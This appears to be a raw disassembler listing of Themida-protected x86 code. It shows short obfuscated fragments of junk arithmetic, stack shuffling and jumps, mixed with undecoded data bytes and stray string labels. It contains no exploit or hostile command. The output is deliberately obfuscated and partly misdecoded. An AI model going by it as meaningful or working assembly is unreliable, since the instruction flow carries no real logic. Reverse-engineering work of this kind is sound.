loc_60632D:				; CODE XREF: Themida_:0060885Fj
		shl	esi, 6
		xor	esi, 570F0A98h
		shr	esi, 3
		shl	esi, 4
		neg	esi
		add	esi, 693F8734h
		add	ecx, esi
		pop	esi
		push	0F18h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_603636
; ---------------------------------------------------------------------------
		db 89h,	0D6h, 0E9h
		dd 5CAh, 0CE05D8F7h, 29652142h,	0C38158C3h, 84BD5133h
		dd 0EB5BBE2Dh, 5D80107h, 7EB5BBEh, 0CF5BE95Bh, 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_60F238
; ---------------------------------------------------------------------------


loc_60639E:				; CODE XREF: Themida_:00604241j
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		jmp	loc_60E60E
; ---------------------------------------------------------------------------
		db 83h
		dd 0EF8104C4h, 2E9A2BEEh, 0FFFA7AE9h, 7650BBFFh, 0EC817E83h
		dd 4, 0E9243489h, 324Ah
; ---------------------------------------------------------------------------


loc_6063CC:				; CODE XREF: Themida_:0060A822j
		push	eax
		push	ebx
		push	77C72B50h
		pop	ebx
		inc	ebx
		xor	ebx, 734E386Dh
		mov	eax, ebx
		pop	ebx
		mov	edx, eax
		pop	eax
		jmp	loc_60E87F
; ---------------------------------------------------------------------------
		dw 7CBEh
		dd 810F9925h, 992578F6h, 5EF0010Fh, 3691E9h, 4BD00h, 0EB010000h
		dd 241C875Dh, 820CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_60640A:				; CODE XREF: Themida_:0060BF77j
		add	eax, 3B8779EFh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 37951990h
		sub	ebp, 0F8D8A1ADh
		sub	eax, ebp
		jmp	loc_60CEF9
; ---------------------------------------------------------------------------
aSsl		db '(',0
		dd 50515500h, 0BB113AB8h, 788E970h, 5A540000h, 8AC3E9h
		dd 81CE2900h, 6F3823C6h, 240C8B74h, 5604C483h, 42474FFh
		dd 8124348Bh, 4C4h, 24048F00h, 2654E95Ch, 0EA810000h, 2614140Dh
		dd 14E9C201h
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606477:				; CODE XREF: Themida_:006085E9j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_603F53
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 241C3300h, 0E9241C31h, 7E40h, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 0E9242C89h, 82DCh,	0DAF6585Bh
		dd 5101C280h, 0AEE9E8B1h, 8F000034h, 0EE92404h,	80FFFFCEh
		dd 2CE990C1h, 66000060h, 68240C8Bh, 1A10h, 68240489h, 5C23h
		dd 1E41E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6064EE:				; CODE XREF: Themida_:00609D85j
		xchg	esi, [esp]
		jmp	loc_60609C
; ---------------------------------------------------------------------------
		dw 0C131h
		dd 0FFCD8958h, 57592434h, 32FFE9h, 0F7814F00h, 3FE67717h
		dd 0FFE8B7E9h, 14EF81FFh, 50204877h, 3836E9h
		db 0
; ---------------------------------------------------------------------------


loc_60651D:				; CODE XREF: Themida_:0060EEB1j
		mov	ah, 50h
		jmp	loc_6095FC
; ---------------------------------------------------------------------------
		dd 40BED81h, 0E9010332h, 74FF515Dh, 8CE90424h, 0BD000033h
		dd 4, 0E95DEA01h, 25F4h, 0F907432Dh, 8B02D67h, 0E0C1068Eh
		dd 38EA3505h, 0C1487C32h, 693504E0h, 81E97179h,	403050C2h
		dd 81C22929h, 403050EAh, 0C2815829h, 3B934D34h,	0FFCD64E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_606579:				; CODE XREF: Themida_:0060BD4Bj
		add	esi, 18D80002h
		shl	esi, 6
		xor	esi, 65971221h
		add	ebp, esi
		pop	esi
		jmp	loc_606F7C
; ---------------------------------------------------------------------------
		dd 5704C483h, 656FE9h, 0E3C15800h, 2DC38108h, 0E9423C37h
		dd 0FFFFF185h, 69FFC181h, 81416D6Dh, 6654D1E9h,	59CA2130h
		dd 4114CA81h, 51427219h, 0C181E189h, 4,	0E904E983h, 705h
		dd 4C4835Dh, 31243C33h,	3C33243Ch, 2088E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_6065E2:				; CODE XREF: Themida_:00607BD0j
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		db 92h
		dd 61E95748h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6065EF:				; CODE XREF: Themida_:0060F1C6j
		dec	eax
		not	eax
		jmp	loc_609608
; ---------------------------------------------------------------------------


loc_6065F7:				; CODE XREF: Themida_:0060D1A7j
		pop	edi
		jmp	loc_606D4E
; ---------------------------------------------------------------------------
aPts0		db 'PT0',0
		align 4
		dd 24048B66h, 0FFD112E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_60660D:				; CODE XREF: Themida_:0060B0B6j
		add	edx, 0C62BA799h
		sub	ebp, edx
		pop	edx
		add	ebp, 39D98E41h
		jmp	loc_60C800
; ---------------------------------------------------------------------------
		db 0ADh, 5, 2Fh
		dd 5635467Fh, 3235E9h, 20E95300h, 8B000078h, 0CD32424h
		dd 9EE99C24h, 8BFFFFCCh, 17E92424h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606647:				; CODE XREF: Themida_:00606885j
		add	ebp, 22031B0Fh
		jmp	loc_60AA92
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 0C8702E9h, 89665C24h, 8CB1240Ch, 12E9C830h, 59FFFFD5h
		dd 5C240487h, 50241489h, 0CC67E99Ch, 3433FFFFh,	24343124h
		dd 78DFE9h, 28242C00h, 2C2404E8h, 0B1515940h, 0DCC980BDh
		dd 0E97FF180h, 3D3Eh, 2EF6E981h, 295A2766h, 0C38159CBh
		dd 2BDC6CEAh, 0D64E9h, 81E38900h, 4C3h,	45476800h, 4890000h
		dd 4B824h, 0C3810000h, 0C4F44D9h, 16F1C381h, 21E907E8h
		dd 8B000062h, 0C4832404h, 1A17E904h, 0B6B90000h, 8145AB2Ah
		dd 1C1h, 3BF1E900h, 478F0000h, 0CBE7E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6066F6:				; CODE XREF: Themida_:0060F109j
		pop	edx
		jmp	loc_60A8DC
; ---------------------------------------------------------------------------


loc_6066FC:				; CODE XREF: Themida_:006060A4j
		mov	ebp, [esp]
		jmp	loc_609451
; ---------------------------------------------------------------------------
aIlQkbiEFSjw	db 'ilqK]F)Jw',0
		db 0
; ---------------------------------------------------------------------------


loc_606717:				; CODE XREF: Themida_:0060606Bj
		push	ecx
		push	ebx
		mov	ebx, 1B963626h
		add	[esp+4], ebx
		pop	ebx
		pop	esi
		push	ecx
		mov	ecx, 1B963626h
		sub	esi, ecx
		pop	ecx
		jmp	loc_6093BB
; ---------------------------------------------------------------------------


loc_606732:				; CODE XREF: Themida_:006094DCj
		push	esi
		sub	esp, 4
		jmp	loc_607989
; ---------------------------------------------------------------------------
		dw 5259h
		dd 0C281E289h, 4, 8704C283h, 9E92414h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606753:				; CODE XREF: Themida_:0060B2F2j
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_6085A2
; ---------------------------------------------------------------------------
		dw 6664h
		dd 5451028Bh, 4EC8159h,	89000000h, 5551241Ch, 1D567868h
		dd 0F5815D51h, 4A290CCFh, 68DCE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_606792:				; CODE XREF: Themida_:00603BEDj
		push	edi
		push	edx
		mov	edx, 2
		jmp	loc_60C219
; ---------------------------------------------------------------------------


loc_60679E:				; CODE XREF: Themida_:0060B100j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_60CA49
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 58545024h, 26036855h, 3C890000h, 34E9BF24h, 0A0E94789h
		dd 8B00005Ch, 81E92404h, 56000065h, 22E9E689h, 6600002Dh
		dd 66241431h, 66241433h, 81241431h, 2ECh, 14896600h, 2C876624h
		dd 7B04E924h, 0E9590000h, 0FFFFF3CEh
; ---------------------------------------------------------------------------


loc_606804:				; CODE XREF: Themida_:00608BDAj
		not	ebp
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	7C1345C2h
		pop	ebp
		and	ebp, 0C862133h
		or	ebp, 20022AB9h
		sub	ebp, 0DAEF22A6h
		mov	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 453F65A9h
		xor	ebx, 64CE5C80h
		xor	ecx, ebx
		jmp	loc_604E45
; ---------------------------------------------------------------------------
		dw 0C480h
		dd 58E728FEh, 80F3F780h, 0F78001E7h, 8BFD3075h,	0C483241Ch
		dd 0E9536604h, 1510h, 2B9515Ah,	81000000h, 6F3823EEh, 0FBD7E974h
		dd 34FFFFFFh, 0F5E6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_606876:				; CODE XREF: Themida_:0060990Dj
		pop	ecx
		push	eax
		mov	eax, 15A50077h
		sub	ebp, 22031B0Fh
		sub	ebp, eax
		jmp	loc_606647
; ---------------------------------------------------------------------------


loc_60688A:				; CODE XREF: Themida_:0060C240j
		push	eax
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		not	ebx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_608F61
; ---------------------------------------------------------------------------
		dd 0E3895356h, 4C381h, 0EB830000h, 241C8704h, 2424895Ch
		dd 4D83E9h, 89575900h, 4C781E7h, 50000000h, 82D4E9h, 9D615900h
		dd 0CA0BE9C3h, 8166FFFFh, 664843C5h, 40A3ED81h,	66D5F766h
		dd 43BC581h, 3FED8166h,	0E931662Dh, 0FFF64DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6068F1:				; CODE XREF: Themida_:00603446j
		push	dword ptr [esp+4]
		jmp	loc_60394F
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 88E94902h, 50000061h, 0C9D3E99Ch, 0EC83FFFFh, 24148904h
		dd 1D87E9h
		db 0
; ---------------------------------------------------------------------------


loc_606915:				; CODE XREF: Themida_:0060B82Ej
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_6057E9
; ---------------------------------------------------------------------------
		dd 2A1DE95Bh, 0C15A0000h, 0C68108E6h, 6F9EE204h, 605BEF81h
		dd 0F729064Fh, 605BC781h, 335E064Fh, 3C31243Ch,	243C3324h
		dd 2414895Ch, 0FFFFAEE9h, 0E1F581FFh, 0E9DB4CA2h, 3231h
		dd 1B24C681h, 0F3291A75h, 6EB8E9h, 2434FF00h, 8B545359h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_60B24E
; ---------------------------------------------------------------------------


loc_606984:				; CODE XREF: Themida_:0060A554j
		mov	eax, 7DB369CCh
		mov	edx, 78033D16h
		xor	edx, eax
		pop	eax
		jmp	loc_60D5BA
; ---------------------------------------------------------------------------
		dw 3433h
		dd 0C895C24h, 0E9E18924h, 87D4h, 405h, 0E9535200h, 4E83h
		dd 1E3E4D05h, 2055E4Bh,	87000000h, 0D9E92404h, 51000007h
		dd 0FFD8EDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6069C9:				; CODE XREF: Themida_:0060F48Fj
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_605CA5
; ---------------------------------------------------------------------------


loc_6069D4:				; CODE XREF: Themida_:00605606j
		mov	[esp], eax
		mov	eax, 6B4F7DE2h
		xor	eax, 60EE2F4Ch
		jmp	loc_608773
; ---------------------------------------------------------------------------
aWsV		db 'WV',0
		align 4
		dd 5B66D800h, 145FE9h, 0C895C00h, 0C8DFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6069FE:				; CODE XREF: Themida_:006085AFj
		mov	[ecx], al
		pop	eax
		pop	edx
		pop	ecx
		jmp	loc_6032DD
; ---------------------------------------------------------------------------
		dd 4C581h, 0B9510000h, 2, 0FFE23AE9h, 81CA29FFh, 2122B1C2h
		dd 0D6015976h, 2C6815Ah, 56000000h, 42474FFh, 5C6BE9h
		dd 2C642C00h, 1ABFE971h, 55510000h, 284931BDh, 12CAE972h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_606A4A:				; CODE XREF: Themida_:00605131j
		and	eax, esi
		mov	esi, [esp]
		push	6322h
		mov	[esp], ebx
		jmp	loc_60E8A1
; ---------------------------------------------------------------------------
		dd 0D7156C68h, 0CB815B11h, 67D82E37h, 8105EBC1h, 0D45102E3h
		dd 6F3813Ah, 0E9029451h, 9Ah, 8007E7C0h, 0EF8087F7h, 0E9FE307Fh
		dd 7DC7h, 0C581E589h, 4, 4C581h, 3BE90000h, 66000056h
		dd 66241489h, 32E99C50h, 0D2FFFFC8h, 0E99C2424h, 0FFFFC829h
; ---------------------------------------------------------------------------


loc_606AB4:				; CODE XREF: Themida_:0060C76Cj
		not	ebp
		xchg	ebp, [esp]
		jmp	loc_606DC0
; ---------------------------------------------------------------------------


loc_606ABE:				; CODE XREF: Themida_:00604A9Cj
		sub	edx, 4D785D4Fh
		jmp	loc_60B96D
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFC80CE9h, 0C68158FFh, 2, 0E9243487h, 77BBh, 6DE9C828h
		dd 57000003h, 5D64BE56h, 74310226h, 91E90424h, 80000069h
		dd 0F3283FC3h, 803FEB80h, 0F5A98EBh, 4DE9C0B6h,	83FFFFC8h
		dd 0C8904ECh, 6BC1E924h, 0DD890000h, 0E952555Bh, 0FFFFF030h
; ---------------------------------------------------------------------------


loc_606B20:				; CODE XREF: Themida_:0060620Ej
		shr	ecx, 5
		shr	ecx, 6
		add	ecx, 17C897D4h
		add	esi, ecx
		pop	ecx
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_6071C2
; ---------------------------------------------------------------------------


loc_606B3C:				; CODE XREF: Themida_:00609603j
		mov	cl, 51h
		shl	cl, 8
		xor	cl, 1
		jmp	loc_604FBE
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 6326D0BFh, 0FFFB010Fh, 835F2434h, 0B95104C4h, 61035CB4h
		dd 8159CB29h, 9522A7EAh, 45B6E917h, 0C3280000h,	18CFE9h
		dd 2434FF00h, 8124048Bh, 4C4h, 33516800h, 0C890000h, 81595424h
		dd 4C1h, 4EC8100h, 89000000h, 0BE56243Ch, 505B25F5h, 25F1F681h
		dd 0F7E9505Bh, 0BF000060h, 0D755E14h, 3C8BF831h, 9AE95324h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_606BBB:				; CODE XREF: Themida_:0060351Fj
		add	ecx, 4
		jmp	loc_60EA88
; ---------------------------------------------------------------------------
		dw 0C189h
		dd 81D1F758h, 52ACF1E9h, 0E9CD8968h, 57E1h
; ---------------------------------------------------------------------------


loc_606BD8:				; CODE XREF: Themida_:0060E869j
		xor	eax, ecx
		push	2E3Dh
		jmp	loc_60603B
; ---------------------------------------------------------------------------
		dd 28F8BB53h, 0DBF73F79h, 4767BA52h, 0D32973FAh, 0A5F3815Ah
		dd 534C8C8Fh, 0F3787BBh, 0E3814B2Ch, 72690F0Fh,	0E904EBC1h
		dd 1D2Ah
; ---------------------------------------------------------------------------


loc_606C10:				; CODE XREF: Themida_:006074F7j
		push	dword ptr [esp]
		jmp	loc_60A0DC
; ---------------------------------------------------------------------------
		dd 5324248Bh, 1372E9h
		db 0
; ---------------------------------------------------------------------------


loc_606C21:				; CODE XREF: Themida_:0060D157j
		pop	dword ptr [edi+eax*4]
		jmp	loc_6032DD
; ---------------------------------------------------------------------------


loc_606C29:				; CODE XREF: Themida_:0060779Cj
		pop	ebx
		not	ecx
		jmp	loc_60B451
; ---------------------------------------------------------------------------


loc_606C31:				; CODE XREF: Themida_:006075F0j
		push	esi
		mov	esi, 7044718Ch
		inc	esi
		add	esi, 691766B8h
		or	esi, 2EC945DFh
		neg	esi
		jmp	loc_605B5F
; ---------------------------------------------------------------------------
		db 66h
		dd 6602E2C1h, 6605E2C1h, 3F15E281h, 81664A66h, 6638E5C2h
		dd 0F9E9D001h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606C67:				; CODE XREF: Themida_:0060BAA5j
		mov	edx, 189A33FEh
		sub	edx, 0FFD12673h
		jmp	loc_60AA3C
; ---------------------------------------------------------------------------


loc_606C77:				; CODE XREF: Themida_:0060CFDFj
		or	ebx, 23735E33h
		or	ebx, 557C08D1h
		shl	ebx, 6
		push	ecx
		mov	ecx, 25D12FDDh
		push	ecx
		jmp	loc_605EDE
; ---------------------------------------------------------------------------


loc_606C92:				; CODE XREF: Themida_:006040D0j
		add	ebp, edi
		pop	edi
		jmp	loc_60ED34
; ---------------------------------------------------------------------------


loc_606C9A:				; CODE XREF: Themida_:0060B0E4j
		add	esp, 4
		jmp	loc_60AAF8
; ---------------------------------------------------------------------------


loc_606CA2:				; CODE XREF: Themida_:0060C7E6j
		xor	ecx, ebx
		jmp	loc_609811
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FF2434FFh, 48B2434h, 4C48124h, 81000000h, 4C4h, 1FE95200h
		db 75h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606CC7:				; CODE XREF: Themida_:00609116j
		add	ebp, edi
		sub	ebp, 47CD7BD7h
		pop	edi
		jmp	loc_60E575
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd offset dword_5B4A7C+46Dh
		dd 0D830AC00h, 0C6568h,	240C8900h, 0B6528FB1h, 87686607h
		dd 0C896622h, 206CB524h, 665966EEh, 3093B050h, 85866C6h
		dd 0D1F65AF1h, 6866h, 8A240C28h, 0C483240Ch, 0B2B45002h
		dd 0E9AAEC80h, 5CE7h, 24048B66h, 0FFD38EE9h, 0EC815DFFh
		dd 4, 4E9EE9h, 0E9C15900h, 81D9F702h, 0AD48C0E1h, 0E9F1814Dh
		dd 8956BD5Fh, 0E36AE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_606D4E:				; CODE XREF: Themida_:006065F8j
		mov	ebp, esi
		jmp	loc_609964
; ---------------------------------------------------------------------------
aS2		db '[2',0
		dw 8900h
		dd 2B3241Ch, 28F5F380h,	52E95BD8h, 0BBFFFFE9h, 4A2732A9h
		dd 659F381h, 0B6E93725h, 21FFFFF6h, 0BF575AD5h,	6717326Dh
		dd 815FFD31h, 8B456CF5h, 0F7C58152h, 89DA2288h,	0FE015DEFh
		dd 2434875Fh, 3B8E685Ch, 14890000h, 32C2E924h, 59660000h
		dd 0D800B904h, 8904EC83h, 8EB22414h, 0E9FFEA80h, 76D5h
; ---------------------------------------------------------------------------


loc_606DC0:				; CODE XREF: Themida_:00606AB9j
		push	dword ptr [esp]
		jmp	loc_607981
; ---------------------------------------------------------------------------


loc_606DC8:				; CODE XREF: Themida_:0060CE4Aj
		push	574Ah
		mov	[esp], ecx
		jmp	loc_60E9DF
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aSpiSM		db 'SPm',0
		dd 40500h, 42D0000h, 87000000h,	895C2404h, 4BF243Ch, 1000000h
		dd 5F04247Ch, 0E92434FFh, 65DDh, 4EEC058h, 480EE80h, 4C3DE99Fh
		dd 148B0000h, 44736824h, 34890000h, 68E68924h, 266Dh, 52243C89h
		dd 91638FBAh, 0EFEA810Fh, 813FF360h, 9E02A4F2h,	0D18951CFh
		dd 5A59CF89h, 33E9FE01h, 89000046h, 76BA52E7h, 0E93B920Bh
		dd 3245h, 81240C8Bh, 4C4h, 61F9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_606E62:				; CODE XREF: Themida_:0060EAABj
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_603FB5
; ---------------------------------------------------------------------------
		db 80h
		dd 0E7C0A1C7h, 80CFFE06h, 0F92073C7h, 33E9E9h, 0D9F74100h
		dd 5E03C981h, 0F1816C54h, 0CCF2ED3h, 0FFD0A9E9h, 243489FFh
		dd 8C1BA968h, 0F6815E41h, 4634614Dh, 1F0ABD55h,	4CE9640Ch
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_606EAF:				; CODE XREF: Themida_:0060F29Aj
		inc	edx
		or	edx, 3B927D72h
		add	edx, 345B35h
		not	edx
		add	edx, 6CC92171h
		jmp	loc_6032E4
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 1
		dd 0C280D2F6h, 74E7E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_606ED6:				; CODE XREF: Themida_:0060E9B5j
		pop	ebp
		shr	ecx, 7
		jmp	loc_60BA57
; ---------------------------------------------------------------------------


loc_606EDF:				; CODE XREF: Themida_:006038B1j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_606EE6:				; CODE XREF: Themida_:00609499j
		push	ecx
		mov	ecx, esp
		jmp	loc_60D686
; ---------------------------------------------------------------------------
		dw 1C89h
aTS		db '$T[};',0
		align 4
		dd 0E9242C89h, 62F1h, 4907E9C1h, 49E7BE56h, 0F6812503h
		dd 113458CFh, 4E07E6C1h, 0C3E68146h, 81722A0Dh,	0CB30D0F6h
		dd 5EF12912h, 159CE89h,	24348BF0h, 8304C483h, 43304C0h
		dd 24043124h, 8B240433h, 34FF2424h, 2434FF24h, 0FFF7F5E9h
		dd 0AAE955FFh, 68FFFFF4h, 2EC03F68h, 81414959h,	5ECA78C1h
		dd 0B1EA8128h, 0E9762122h, 0FFFFFAB1h
; ---------------------------------------------------------------------------


loc_606F68:				; CODE XREF: Themida_:00603536j
		sub	ebp, edi
		pop	edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_608BF0
; ---------------------------------------------------------------------------


loc_606F7C:				; CODE XREF: Themida_:0060658Bj
		mov	edx, ebp
		pop	ebp
		jmp	loc_607C67
; ---------------------------------------------------------------------------
		dd 0FFC354E9h, 43D387FFh, 0FFEF0AE9h, 685152FFh, 79FC4FB1h
		dd 0F9BD5559h, 0C165B30Fh, 0E58106E5h, 51473EDAh, 0F011E945h
		dd 9605FFFFh, 81040163h, 4ECh, 243C8900h, 61182068h, 2434FF77h
		dd 4C4835Fh, 58AFE9h, 241C8B00h, 21FCE9h, 24442900h, 815F5804h
		dd 0BB0F5FC7h, 0FB01E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_606FE6:				; CODE XREF: Themida_:0060ED2Fj
		push	555Ah
		mov	[esp], ebx
		push	edi
		jmp	loc_608821
; ---------------------------------------------------------------------------
aPMRFq		db 'PM',8,'fQ',0
aSs3		db '3',0
		db 0
; ---------------------------------------------------------------------------


loc_607005:				; CODE XREF: Themida_:0060E990j
		mov	[esp], eax
		push	ebx
		jmp	loc_60D09B
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4C781h, 3C870000h, 0EC835C24h, 241C8904h,	880CB050h
		dd 2434FFC7h, 4C48158h,	80000000h, 0C7FE01CFh, 8002B551h
		dd 0ED80D0EDh, 8AC78090h, 91EF80h, 35B151EFh, 6D63E9h
		dd 0ABCB8100h, 81441132h, 95014FF3h, 0CB814B5Ch, 5EA879F6h
		dd 54EB814Bh, 31CBC70Eh, 0C8295BD9h, 0DFE95759h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_607077:				; CODE XREF: Themida_:0060AD89j
		pop	esi
		sub	esi, 517D223Ch
		jmp	loc_608436
; ---------------------------------------------------------------------------


loc_607083:				; CODE XREF: Themida_:00607B41j
		pop	esi
		shl	edi, 6
		shr	edi, 2
		push	eax
		mov	eax, 27D12EE3h
		not	eax
		push	eax
		dec	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_60F501
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 686602B6h, 6E948BDh,	1000084h, 5BF4E9C1h, 0F660000h
		dd 686602B6h, 89664353h, 16E92404h, 35FFFFC2h, 7E551099h
		dd 380FBA52h, 0C2813126h, 19F637C0h, 5D33EA81h,	0EAC12D41h
		dd 3ECA8108h, 57068D09h, 1F1C10BFh, 2E7C16Dh, 2F7DEF81h
		dd 0C7811318h, 0B0B665AAh, 15FFA31h, 83E95AD3h,	900000Ch
		dd 0D8E95FFDh, 33000057h, 4312404h, 24043324h, 0C1BFE95Ch
		dd 5052FFFFh, 0E95305B4h, 1067h, 9E5695BDh, 2411E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607132:				; CODE XREF: Themida_:0060D9C0j
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	3D5Fh
		mov	[esp], eax
		add	dword ptr [esp], 554B672Fh
		mov	ebx, [esp]
		push	edx
		jmp	loc_6081BC
; ---------------------------------------------------------------------------


loc_607154:				; CODE XREF: Themida_:00607197j
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		jmp	loc_609FAB
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 1CB1E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_607182:				; CODE XREF: Themida_:0060A883j
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		jmp	loc_607154
; ---------------------------------------------------------------------------
		dd 24248Bh, 0E99C2404h,	0FFFFC135h, 0B6521304h,	28C680C4h
		dd 2C5AF028h, 4D80058h,	2CEC0458h, 0DE12E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_6071C2:				; CODE XREF: Themida_:00606B37j
		push	4706h
		mov	[esp], esi
		mov	esi, 7ED70BA0h
		push	edx
		push	ebp
		mov	ebp, 7C2443CDh
		mov	edx, 9FE01D0Dh
		jmp	loc_608C0D
; ---------------------------------------------------------------------------
		dd 2777CF81h, 0BB536F31h, 0ECA0C48h, 575BDF01h,	4AB8E9h
		dd 24048700h, 1D93E9h, 24EE8100h, 294C0F2Bh, 24C681D6h
		dd 5A4C0F2Bh, 43C7C681h, 0C6014CF8h, 43C7EE81h,	0C6814CF8h
		dd 4F480525h, 6124E952h, 0C2800000h, 690FE91Ah,	0AAE90000h
		dd 52FFFFC0h, 0EC8377B6h, 0D366E904h, 0C783FFFFh, 243C8702h
		dd 0E924248Bh, 0FFFFCFA8h, 5AF0005Ah, 0C1880534h, 0FFD39DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_607259:				; CODE XREF: Themida_:006073F9j
		pop	ebp
		not	ebx
		shl	ebx, 1
		add	ebx, 14F410E2h
		and	eax, ebx
		mov	ebx, [esp]
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 5ECA783Bh
		sub	eax, 5ECA7837h
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_60E9C5
; ---------------------------------------------------------------------------
		dd offset dword_563D48+220h
		align 2
		dw 2489h
		dd 24048124h, 4, 4C3815Bh, 51000000h, 4B9h, 0E9CB0100h
		dd 0FFFFEBB2h, 2DF0C381h, 535822B8h, 42474FFh, 24048F5Bh
		dd 5324248Bh, 0FFDCCBE9h, 4C483FFh, 6E0068h, 240C8900h
		dd 806BB252h, 0D2F685C2h, 7146E9h
		db 0
; ---------------------------------------------------------------------------


loc_6072E1:				; CODE XREF: Themida_:00605F90j
		mov	esi, 1
		push	5A83h
		mov	[esp], esi
		add	dword ptr [esp], 720B52D1h
		pop	edi
		sub	edi, 720B52D1h
		jmp	loc_60A5FB
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 2Ah
aOBs		db 'o]B',8,27h,0
		align 4
aQ		db 'Q<',0
		dd 0BB530000h, 507D4ED6h, 1C8BD929h, 4C48124h, 81000000h
		dd 93270AE9h, 139EE972h, 0E9550000h, 0FFFFE0E6h, 0E9AFF480h
		dd 0FFFFF502h
; ---------------------------------------------------------------------------


loc_60733C:				; CODE XREF: Themida_:0060AB4Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_607D98
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 4DB519C0h, 0C9BBE956h, 0D2B9FFFFh, 8112C438h, 3A4242C1h
		dd 0E2F1815Ah, 0E91A571Bh, 0FFFFE660h
; ---------------------------------------------------------------------------


loc_60736C:				; CODE XREF: Themida_:0060D0D8j
		xor	edi, 837DB391h
		mov	eax, edi
		jmp	loc_60956B
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 8Ch
		dd 893D4934h, 24048BC1h, 1A94E9h, 24248B00h, 8B24048Fh
		dd 89522424h, 4C281E2h,	51000000h, 0D071A5B9h, 53D1F775h
		dd 2F8E5EBBh, 5BD9318Ah, 0C8BCA29h, 4C48324h, 8B241487h
		dd 0C892424h, 0D7885324h, 55DEE9h, 240C8900h, 5EABE9h
		db 0
; ---------------------------------------------------------------------------


loc_6073CD:				; CODE XREF: Themida_:00604E2Dj
		mov	ebx, 0F92D7842h
		add	edx, ebx
		pop	ebx
		add	edx, edi
		push	dword ptr [edx]
		push	3674h
		mov	[esp], esi
		mov	esi, 6B44072Ah
